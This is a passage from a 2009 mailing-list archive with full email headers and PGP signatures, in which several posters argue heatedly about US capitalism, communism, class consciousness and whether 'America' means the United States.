matter-of-fact statements -- which others in the World have no problem with. And that's all that's really going on here - -- besides that I will not leave any political dilettantes here think they can 'best' me on this ground.] As the smoke cleared, John Fields mounted the barricade and roared out: > The _fact_ is that you're trying to avoid the issue by dodging the > question, which is: "Do you ally yourself with personages like Hitler, > Stalin, and Mao? What kind of a stupid, leading question is that? I can very well ask the same of you and your Hitler buddy. As for Stalin and Mao: these are two historical figures, and are NOT the countries or revolutions you are actually obliquely referring to. I've already made clear that stalinism is NFG -- but I wouldn't expect such as yourself to clue-in to that. Or even understand the distinction, for that matter. My point here is that you are ham-fistedly trying to gain brownie points using arguments, the very basis of which I do not in the least accept. If you want to truly get anywhere witjh me here, you had best stick to discussing first principles first. Capisce? Thought not. > Your reach obviously exceeds your grasp since your: > > "But I most certainly do hate the U.S. ruling-class and all its > stooges." > > following, admits to hatred, which is antithetical to objectivity. We're not on Mount Olympus here, fella (actually, those greek gods were a pretty venal crew...) Part of the problem with the bourgeois/U.S. ideology is its phony claim to "objectivity" -- in the sense of being 'above it all', etc. Which is pure garbage. Fact of the matter is, one must indeed attempt to be as objective as possible; but it is always understood that all beings have, by material necessity, a POV. It can be no other way in this Reality. And in present class society -- I very much have a class-conscious, working-class POV. And YOUR masters, for instance, VERY much have a conscious *ruling-class* POV. However, they are constantly attempting to disarm you, mentally, by telling you, for instance, that there ARE no classes in your wunnerful and great society -- other than some mythical, all-encompassing "middle-class" -- the tortured (i.e. false) logic of which should be apparent to even a schoolchild upon even cursory examination. > In the context of this discussion it's clear that 'America' is > synonymous with 'United States of America' and your nit-picking is yet > another attempt at subject-changing. No -- I do not accept that "America" EVER means JUST the U.S.A. EVER. That's NON-NEGOTIABLE. Got it..? Thought not. And so mebee we can start talking about all the fascistic flag-waving, etc. in your country now... Try me. > I don't see where you got that the world wouldn't survive from: > "the catastrophe which would ensue following her collapse.", > but then you do make up a lot of stuff, don't you? I'll let the record speak for itself here. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoW5uoACgkQXo3EtEYbt3HBcQCg8XArlYOZ3MwlnhOpkpGQuPHP bSMAnj0ysST0jIQeMVbwaCMgztbJpfxQ =gJoY -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 11:06:41 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4MI6XiV000448; Fri, 22 May 2009 11:06:33 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4MI6WHG000432; Fri, 22 May 2009 11:06:32 -0700 Resent-Date: Fri, 22 May 2009 11:06:32 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 11:06:20 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:China vs US Message-ID: <20090522180620.GD16769@shell.resist.ca> Reply-To: grok@resist.ca References: <20090519224854.GH2278@shell.resist.ca> <4A134BDF.7020700@lacy.com.ar> <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: 8182, DIAT, DCS2000, Ionosphere, Fighting In Built-Up Areas User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4034 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 276 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey, Fields -- here's some of your good 'ol Yanqui entrepreneurship at work: Amuhrikkka: luv it ur LEEV it, eh? - -- grok. 2 FIRMS ACCUSED OF FRAUD IN DEBT SETTLEMENT: - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoW6ZwACgkQXo3EtEYbt3Fn3QCeJgx8IF3QA9DNbNxMpOolBEDl 2DIAni5tPBKqR+EX9ZkxdQGkHExST7zF =2yb/ -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 11:12:07 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MIC1KY019873; Fri, 22 May 2009 11:12:02 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MIC1Z6019865; Fri, 22 May 2009 11:12:01 -0700 Resent-Date: Fri, 22 May 2009 11:12:01 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=vlLiLENJTtIUuogbFC5aHY4FvZxPHMrdF/pcLKHMLII=; b=n/5PGmo+vQmArgX1amJtYNcfmUkKG0L3h7wRDBB862aXS0Wm6++4OJIbCbQbCMnLpm QfLhVH2CCsrPTDIFRm5K6UqhN09BLfh8PL6lCEYk5+F6cji3RDuHX14ALkooizoLXkPz rpFy8l36HoFLrProsoL8TR7eFOX1eiroEGTuE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=CTLtI41aUS7jV3/e7+/uek2GtGxOzOjfXneaCuYc5+5Tl0Aw+c5rxl0Vi3oN/sE2Gy 7keRVw9G01EExoZJozwwwrxjlrZoO0LQUoqZk5I9hO3ND2hYsDmg2Mjjkg/zYFKLC7r0 jDQKRHcgxYEdExz49jDbe7UO4Vm104gonhDYc= MIME-Version: 1.0 In-Reply-To: <20090522175450.GC16769@shell.resist.ca> References: <20090519224854.GH2278@shell.resist.ca> <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522175450.GC16769@shell.resist.ca> From: Charles HOPE Date: Fri, 22 May 2009 14:11:39 -0400 Message-ID: <63ffa6020905221111kc4ad4a3w2d9e05552f84b109@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:China vs US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0016e6d32a1b506d5b046a8432dc Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4035 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 277 --0016e6d32a1b506d5b046a8432dc Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable The United States of America the only country with the name =93America=94 i= n its title, therefore it can be abbreviated as America legitimately. So you'll have to accept it. Class consciousness is rare to see ever since the ruling class neutered leftism and turned it into a safe pastime for their scions to dabble in vegetarianism. On Fri, May 22, 2009 at 1:54 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > [Let me start off again by saying that I did not come to vortex-l to talk > politix, > particularly. However youse all do, all the time -- it's just that, given > the > totalitarian U.S. mentality, much of the discussion of Reality is beyond > the Pale. > And so many of youse make a federal issue of my matter-of-fact statements > -- which > others in the World have no problem with. And that's all that's really > going on here > - -- besides that I will not leave any political dilettantes here think > they can 'best' > me on this ground.] > > > As the smoke cleared, John Fields > mounted the barricade and roared out: > > > The _fact_ is that you're trying to avoid the issue by dodging the > > question, which is: "Do you ally yourself with personages like Hitler, > > Stalin, and Mao? > > What kind of a stupid, leading question is that? I can very well ask the > same of you > and your Hitler buddy. As for Stalin and Mao: these are two historical > figures, and > are NOT the countries or revolutions you are actually obliquely referring > to. I've > already made clear that stalinism is NFG -- but I wouldn't expect such as > yourself to > clue-in to that. Or even understand the distinction, for that matter. > > My point here is that you are ham-fistedly trying to gain brownie points > using > arguments, the very basis of which I do not in the least accept. If you > want to truly > get anywhere witjh me here, you had best stick to discussing first > principles first. > Capisce? Thought not. > > > > > > > Your reach obviously exceeds your grasp since your: > > > > "But I most certainly do hate the U.S. ruling-class and all its > > stooges." > > > > following, admits to hatred, which is antithetical to objectivity. > > We're not on Mount Olympus here, fella (actually, those greek gods were a > pretty > venal crew...) Part of the problem with the bourgeois/U.S. ideology is it= s > phony > claim to "objectivity" -- in the sense of being 'above it all', etc. Whic= h > is pure > garbage. Fact of the matter is, one must indeed attempt to be as objectiv= e > as > possible; but it is always understood that all beings have, by material > necessity, a > POV. It can be no other way in this Reality. And in present class society > -- I very > much have a class-conscious, working-class POV. > > And YOUR masters, for instance, VERY much have a conscious *ruling-class* > POV. > However, they are constantly attempting to disarm you, mentally, by telli= ng > you, for > instance, that there ARE no classes in your wunnerful and great society -= - > other than > some mythical, all-encompassing "middle-class" -- the tortured (i.e. fals= e) > logic of > which should be apparent to even a schoolchild upon even cursory > examination. > > > > > > > In the context of this discussion it's clear that 'America' is > > synonymous with 'United States of America' and your nit-picking is yet > > another attempt at subject-changing. > > No -- I do not accept that "America" EVER means JUST the U.S.A. EVER. > That's NON-NEGOTIABLE. Got it..? > Thought not. > > And so mebee we can start talking about all the fascistic flag-waving, et= c. > in your > country now... Try me. > > > > > > > > I don't see where you got that the world wouldn't survive from: > > "the catastrophe which would ensue following her collapse.", > > but then you do make up a lot of stuff, don't you? > > I'll let the record speak for itself here. > > - -- grok. > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoW5uoACgkQXo3EtEYbt3HBcQCg8XArlYOZ3MwlnhOpkpGQuPHP > bSMAnj0ysST0jIQeMVbwaCMgztbJpfxQ > =3DgJoY > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0016e6d32a1b506d5b046a8432dc Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable The United States of America the only country with the name =93America=94 i= n its title, therefore it can be abbreviated as America legitimately. So yo= u'll have to accept it.

Class consciousness is rare to see ever = since the ruling class neutered leftism and turned it into a safe pastime f= or their scions to dabble in vegetarianism.



On Fri, May 22, 2009 at 1:54 PM, gro= k <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


[Let me start off again by saying that I did not come to vortex-l to = talk politix,
particularly. However youse all do, all the time -- it's just that, giv= en the
totalitarian U.S. mentality, much of the discussion of Reality is beyond th= e Pale.
And so many of youse make a federal issue of my matter-of-fact statements -= - which
others in the World have no problem with. And that's all that's rea= lly going on here
- -- besides that I will not leave any political dilettantes here think the= y can 'best'
me on this ground.]


As the smoke cleared, John Fields <jfields@austininstruments.com>
mounted the barricade and roared out:

> The _fact_ is that you're trying to avoid = the issue by dodging the
> question, which is: "Do you ally yourself with personages like Hi= tler,
> Stalin, and Mao?

What kind of a stupid, leading question is that? I can very well ask = the same of you
and your Hitler buddy. As for Stalin and Mao: these are two historical figu= res, and
are NOT the countries or revolutions you are actually obliquely referring t= o. I've
already made clear that stalinism is NFG -- but I wouldn't expect such = as yourself to
clue-in to that. Or even understand the distinction, for that matter.

My point here is that you are ham-fistedly trying to gain brownie points us= ing
arguments, the very basis of which I do not in the least accept. If you wan= t to truly
get anywhere witjh me here, you had best stick to discussing first principl= es first.
Capisce? Thought not.





> Your reach obviously exceeds your grasp since your:
>
> "But I most certainly do hate the U.S. ruling-class and all its > stooges."
>
> following, admits to hatred, which is antithetical to objectivity.

We're not on Mount Olympus here, fella (actually, those greek god= s were a pretty
venal crew...) Part of the problem with the bourgeois/U.S. ideology is its = phony
claim to "objectivity" -- in the sense of being 'above it all= ', etc. Which is pure
garbage. Fact of the matter is, one must indeed attempt to be as objective = as
possible; but it is always understood that all beings have, by material nec= essity, a
POV. It can be no other way in this Reality. And in present class society -= - I very
much have a class-conscious, working-class POV.

And YOUR masters, for instance, VERY much have a conscious *ruling-class* P= OV.
However, they are constantly attempting to disarm you, mentally, by telling= you, for
instance, that there ARE no classes in your wunnerful and great society -- = other than
some mythical, all-encompassing "middle-class" -- the tortured (i= .e. false) logic of
which should be apparent to even a schoolchild upon even cursory examinatio= n.





> In the context of this discussion it's clear that 'America'= ; is
> synonymous with 'United States of America' and your nit-pickin= g is yet
> another attempt at subject-changing.

No -- I do not accept that "America" EVER means JUST the U.= S.A. EVER.
That's NON-NEGOTIABLE. Got it..?
Thought not.

And so mebee we can start talking about all the fascistic flag-waving, etc.= in your
country now... Try me.






> I don't see where you got that the world wouldn't survive from= :
> "the catastrophe which would ensue following her collapse.",=
> but then you do make up a lot of stuff, don't you?

I'll let the record speak for itself here.

- -- grok.






- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoW5uoACgkQXo3EtEYbt3HBcQCg8XArlYOZ3MwlnhOpkpGQuPHP
bSMAnj0ysST0jIQeMVbwaCMgztbJpfxQ
=3DgJoY
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0016e6d32a1b506d5b046a8432dc-- From vortexb-l-request@eskimo.com Fri May 22 11:19:11 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4MIJ7NP012165; Fri, 22 May 2009 11:19:08 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4MIJ7N5012159; Fri, 22 May 2009 11:19:07 -0700 Resent-Date: Fri, 22 May 2009 11:19:07 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=gjaxxEakF8EXThg9op8yITDkwusPX4/Me6WsocLFB/c=; b=gubpXZnK8SxdVWOjb94sOJ0wjNz6SSBWx9kXuJVyDXQkmdTN6oSDDPvMcNCUMEvf3C uUe8leSa2IhSTBfQ3wWwZI5cJf0z4vN8KWr2Gwa5CLCMyqCZ/uB/4k0Rw+2/+i6VEGXz BBiHgblJU47vZvNMI/N26w3zsQ79ca8Dl1UuM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=vQUOy75PgEwoSOlY0enzxwrXb40/zkhu90Ti7764LdCPLl/AgbHGzOAGafeWYIdS1i whlYkixcyJCtSkra2DqWi0svOAxKSHBpQwqU9w3YFGfWlMxC8yS7eb/FVdObcQvkhxCN L6JGPG6CzPx4OxpNa1T3QBJY8WAPYRUieowyM= MIME-Version: 1.0 In-Reply-To: <20090522144827.GG18912@shell.resist.ca> References: <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> From: Charles HOPE Date: Fri, 22 May 2009 14:18:42 -0400 Message-ID: <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a5018a6f22046a844b38 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4036 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 278 --001636c5a5018a6f22046a844b38 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I perceive the gap to be that grok recognizes value as objective, while Jef= f Fink recognizes value to be subjective. In the former case, economic transactions are inherently zero-sum and exploitive, whereas in the latter case they are positive sum and mutually beneficial. On Fri, May 22, 2009 at 10:48 AM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Jeff Fink > mounted the barricade and roared out: > > > Grok, > > > > You seem to favor a government controlled market over a free market. > > Hey -- another selective cheap shot. > > No... I favor a PEOPLE's democratically-controlled ekonomy over what you > lot prefer. > > > > > > > The free market is based on entrepreneurship where a person recognizes = a > > need, and with initiative, works out a way to fill that need at a cost > that > > is less than what the potential customer is willing to pay. He then pu= ts > > his time, his money, and his reputation at risk to implement his plan, > and > > if he figured correctly he will generate an income that will support hi= s > > family with money to spare. The excess money will allow him to expand > his > > business and hire employees. If he grows his business big enough, I > > suppose, he earns the right to be called a capitalist. > > And youse people accuse communists of being full of brainwashing and > propagandistic > ideology... > > > > > > > In 1833, shopkeeper Marcus Samuel decided to expand his London business= . > He > > sold antiques, but now added oriental shells. He aimed to capitalize on= a > > fashion for using them in interior design. His instinct was right - suc= h > was > > the demand that Samuel quickly began importing shells from the Far East= , > > laying the foundations for his import/export business. And thus, a sea > > shell shop grew to become Shell Oil. Mr. Edison's small business grew = to > > become General Electric. More recently we have Bill Gates, Mr. Hewlett > and > > Mr. Packard, and the list goes on. > > > > These all started small and grew. The success was only possible under = a > > governmental system that encouraged enterprise, rather than punishing > > success. > > Talk about being selective. But do go on. > > > > > > A small business has no power, but a big business can get powerful > > financially. And, by influencing corrupt politicians, it can get > > politically powerful also. This is a situation that we must guard > against. > > > > The free enterprise system has its problems, but it brings more > prosperity > > to more people than any other economic system ever tried. > > > > Much more can be said, but I hate typing. > > > > Jeff > > Your system is inherently unstable and exploitative and unfair. And it mu= st > go. > > > - -- grok. > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoWuzsACgkQXo3EtEYbt3GLrQCfeQEPO8ZvAChnWwZGLv48RhV7 > bJUAoKO3WmWr7KqGSNNJAU5sOvAzyDzx > =3DdLPy > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a5018a6f22046a844b38 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I perceive the gap to be that grok recognizes value as objective, while Jef= f Fink recognizes value to be subjective.=A0 In the former case, economic t= ransactions are inherently zero-sum and exploitive, whereas in the latter c= ase they are positive sum and mutually beneficial.



On Fri, May 22, 2009 at 10:48 AM, gr= ok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Jeff Fink <revtec@ptd.net>
mounted the barricade and roared out:

> Grok,
>
> You seem to favor a government controlled market over a free market.
Hey -- another selective cheap shot.

No... I favor a PEOPLE's democratically-controlled ekonomy over what yo= u lot prefer.





> The free market is based on entrepreneurship where a person recognizes= a
> need, and with initiative, works out a way to fill that need at a cost= that
> is less than what the potential customer is willing to pay. =A0He then= puts
> his time, his money, and his reputation at risk to implement his plan,= and
> if he figured correctly he will generate an income that will support h= is
> family with money to spare. =A0The excess money will allow him to expa= nd his
> business and hire employees. =A0If he grows his business big enough, I=
> suppose, he earns the right to be called a capitalist.

And youse people accuse communists of being full of brainwashing and = propagandistic
ideology...





> In 1833, shopkeeper Marcus Samuel decided to expand his London busines= s. He
> sold antiques, but now added oriental shells. He aimed to capitalize o= n a
> fashion for using them in interior design. His instinct was right - su= ch was
> the demand that Samuel quickly began importing shells from the Far Eas= t,
> laying the foundations for his import/export business. =A0And thus, a = sea
> shell shop grew to become Shell Oil. =A0Mr. Edison's small busines= s grew to
> become General Electric. =A0More recently we have Bill Gates, Mr. Hewl= ett and
> Mr. Packard, and the list goes on.
>
> These all started small and grew. =A0The success was only possible und= er a
> governmental system that encouraged enterprise, rather than punishing<= br> > success.

Talk about being selective. But do go on.




> A small business has no power, but a big business can get powerful
> financially. =A0And, by influencing corrupt politicians, it can get > politically powerful also. =A0This is a situation that we must guard a= gainst.
>
> The free enterprise system has its problems, but it brings more prospe= rity
> to more people than any other economic system ever tried.
>
> Much more can be said, but I hate typing.
>
> Jeff

Your system is inherently unstable and exploitative and unfair. And i= t must go.


- -- grok.






- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoWuzsACgkQXo3EtEYbt3GLrQCfeQEPO8ZvAChnWwZGLv48RhV7
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a5018a6f22046a844b38-- From vortexb-l-request@eskimo.com Fri May 22 11:51:25 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MIpM6J003191; Fri, 22 May 2009 11:51:22 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MIpMF8003181; Fri, 22 May 2009 11:51:22 -0700 Resent-Date: Fri, 22 May 2009 11:51:22 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:China vs US Date: Fri, 22 May 2009 13:51:20 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090519224854.GH2278@shell.resist.ca> <4A134BDF.7020700@lacy.com.ar> <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522180620.GD16769@shell.resist.ca> In-Reply-To: <20090522180620.GD16769@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4037 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 279 On Fri, 22 May 2009 11:06:20 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >Hey, Fields -- here's some of your good 'ol Yanqui entrepreneurship at = work: >2 FIRMS ACCUSED OF FRAUD IN DEBT SETTLEMENT: > --- Not mine and hardly typical but, unfortunately, there are criminals everywhere. --- >Amuhrikkka: luv it ur LEEV it, eh? --- Must be pretty good, at least, since there are lots more trying to get in than get out. JF =20 From vortexb-l-request@eskimo.com Fri May 22 11:54:51 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MIsnU3004402; Fri, 22 May 2009 11:54:49 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MIsm9t004396; Fri, 22 May 2009 11:54:48 -0700 Resent-Date: Fri, 22 May 2009 11:54:48 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 11:54:39 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:China vs US Message-ID: <20090522185439.GI16769@shell.resist.ca> Reply-To: grok@resist.ca References: <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522175450.GC16769@shell.resist.ca> <63ffa6020905221111kc4ad4a3w2d9e05552f84b109@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905221111kc4ad4a3w2d9e05552f84b109@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: 8182, DIAT, DCS2000, Ionosphere, Fighting In Built-Up Areas User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4038 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 280 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > The United States of America the only country with the name "America" in its > title, therefore it can be abbreviated as America legitimately. So you'll > have to accept it. Uh -- no I don't. And you can take this up with a few hundred million other people both outside -- and inside -- the U.S. who think the same way. > Class consciousness is rare to see ever since the ruling class neutered > leftism and turned it into a safe pastime for their scions to dabble in > vegetarianism. It ain't over 'til it's over. Haven't you heard that one? Until the Fat Lady sings. Read the damned papers. Like I said earlier: denial sure ain't a river in Egypt. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoW9O8ACgkQXo3EtEYbt3Gp9QCeP5c7fp+bxgvaTCuE+/cIS17v H50AoKlUJgDvgRnAYN2h2jjXcXhIichJ =VWaA -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 12:09:59 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MJ9voY012534; Fri, 22 May 2009 12:09:57 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MJ9uRl012525; Fri, 22 May 2009 12:09:56 -0700 Resent-Date: Fri, 22 May 2009 12:09:56 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 12:09:52 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090522190952.GK16769@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: 8182, DIAT, DCS2000, Ionosphere, Fighting In Built-Up Areas User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4039 